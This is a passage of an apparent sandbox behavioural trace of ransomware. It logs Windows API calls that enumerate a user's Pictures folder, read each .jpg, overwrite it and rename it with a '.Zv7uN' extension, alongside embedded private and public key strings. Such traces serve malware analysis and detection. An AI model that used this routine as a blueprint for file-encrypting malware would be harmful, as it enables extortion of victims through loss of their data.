lpBuffer=0x1f56810*, nNumberOfBytesToWrite=0x6e97, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f56810*, lpNumberOfBytesWritten=0x18f3e0*=0x6e97, lpOverlapped=0x0) returned 1 [0085.166] CloseHandle (hObject=0x12c) returned 1 [0085.168] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\3a_Ktn--Hmt.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\3a_ktn--hmt.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\3a_Ktn--Hmt.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\3a_ktn--hmt.jpg.zv7un")) returned 1 [0085.169] GetCurrentThreadId () returned 0xa30 [0085.169] GetCurrentThreadId () returned 0xa30 [0085.169] GetCurrentThreadId () returned 0xa30 [0085.169] GetCurrentThreadId () returned 0xa30 [0085.169] GetCurrentThreadId () returned 0xa30 [0085.169] GetCurrentThreadId () returned 0xa30 [0085.169] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19285100, ftCreationTime.dwHighDateTime=0x1d5e3c6, ftLastAccessTime.dwLowDateTime=0xd5d43d90, ftLastAccessTime.dwHighDateTime=0x1d5e3e5, ftLastWriteTime.dwLowDateTime=0xd5d43d90, ftLastWriteTime.dwHighDateTime=0x1d5e3e5, nFileSizeHigh=0x0, nFileSizeLow=0xec71, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="cr lAb2zi.jpg", cAlternateFileName="CRLAB2~1.JPG")) returned 1 [0085.169] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0085.169] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0085.169] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\cr lAb2zi.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\cr lab2zi.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19285100, ftCreationTime.dwHighDateTime=0x1d5e3c6, ftLastAccessTime.dwLowDateTime=0xd5d43d90, ftLastAccessTime.dwHighDateTime=0x1d5e3e5, ftLastWriteTime.dwLowDateTime=0xd5d43d90, ftLastWriteTime.dwHighDateTime=0x1d5e3e5, nFileSizeHigh=0x0, nFileSizeLow=0xec71)) returned 1 [0085.169] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\cr lAb2zi.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\cr lab2zi.jpg")) returned 0x20 [0085.170] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\cr lAb2zi.jpg", dwFileAttributes=0x80) returned 1 [0085.171] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f3e8dc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.173] GetCurrentThreadId () returned 0xa30 [0085.173] GetCurrentThreadId () returned 0xa30 [0085.173] GetCurrentThreadId () returned 0xa30 [0085.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f3320c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.174] GetCurrentThreadId () returned 0xa30 [0085.174] GetCurrentThreadId () returned 0xa30 [0085.174] GetCurrentThreadId () returned 0xa30 [0085.174] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\cr lAb2zi.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\cr lab2zi.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0085.174] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0085.174] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0085.174] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xec71 [0085.175] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0085.175] ReadFile (in: hFile=0x12c, lpBuffer=0x1f4e7e0, nNumberOfBytesToRead=0xec71, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f4e7e0*, lpNumberOfBytesRead=0x18f3d4*=0xec71, lpOverlapped=0x0) returned 1 [0085.177] CloseHandle (hObject=0x12c) returned 1 [0085.179] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\cr lAb2zi.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\cr lab2zi.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0085.182] WriteFile (in: hFile=0x12c, lpBuffer=0x1f5e810*, nNumberOfBytesToWrite=0xec71, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f5e810*, lpNumberOfBytesWritten=0x18f3e0*=0xec71, lpOverlapped=0x0) returned 1 [0085.186] CloseHandle (hObject=0x12c) returned 1 [0085.197] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\cr lAb2zi.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\cr lab2zi.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\cr lAb2zi.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\cr lab2zi.jpg.zv7un")) returned 1 [0085.197] GetCurrentThreadId () returned 0xa30 [0085.198] GetCurrentThreadId () returned 0xa30 [0085.198] GetCurrentThreadId () returned 0xa30 [0085.198] GetCurrentThreadId () returned 0xa30 [0085.198] GetCurrentThreadId () returned 0xa30 [0085.198] GetCurrentThreadId () returned 0xa30 [0085.198] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbc71c80, ftCreationTime.dwHighDateTime=0x1d5deaf, ftLastAccessTime.dwLowDateTime=0x3698dd0, ftLastAccessTime.dwHighDateTime=0x1d5e78a, ftLastWriteTime.dwLowDateTime=0x3698dd0, ftLastWriteTime.dwHighDateTime=0x1d5e78a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="J1gACW", cAlternateFileName="")) returned 1 [0085.198] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e0a440, ftCreationTime.dwHighDateTime=0x1d5e17e, ftLastAccessTime.dwLowDateTime=0xc448e590, ftLastAccessTime.dwHighDateTime=0x1d5e461, ftLastWriteTime.dwLowDateTime=0xc448e590, ftLastWriteTime.dwHighDateTime=0x1d5e461, nFileSizeHigh=0x0, nFileSizeLow=0x7064, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="n8TSq6Rxej90Ypz.jpg", cAlternateFileName="N8TSQ6~1.JPG")) returned 1 [0085.198] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0085.198] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0085.198] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\n8TSq6Rxej90Ypz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\n8tsq6rxej90ypz.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e0a440, ftCreationTime.dwHighDateTime=0x1d5e17e, ftLastAccessTime.dwLowDateTime=0xc448e590, ftLastAccessTime.dwHighDateTime=0x1d5e461, ftLastWriteTime.dwLowDateTime=0xc448e590, ftLastWriteTime.dwHighDateTime=0x1d5e461, nFileSizeHigh=0x0, nFileSizeLow=0x7064)) returned 1 [0085.198] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\n8TSq6Rxej90Ypz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\n8tsq6rxej90ypz.jpg")) returned 0x20 [0085.198] SetFileAttributesW 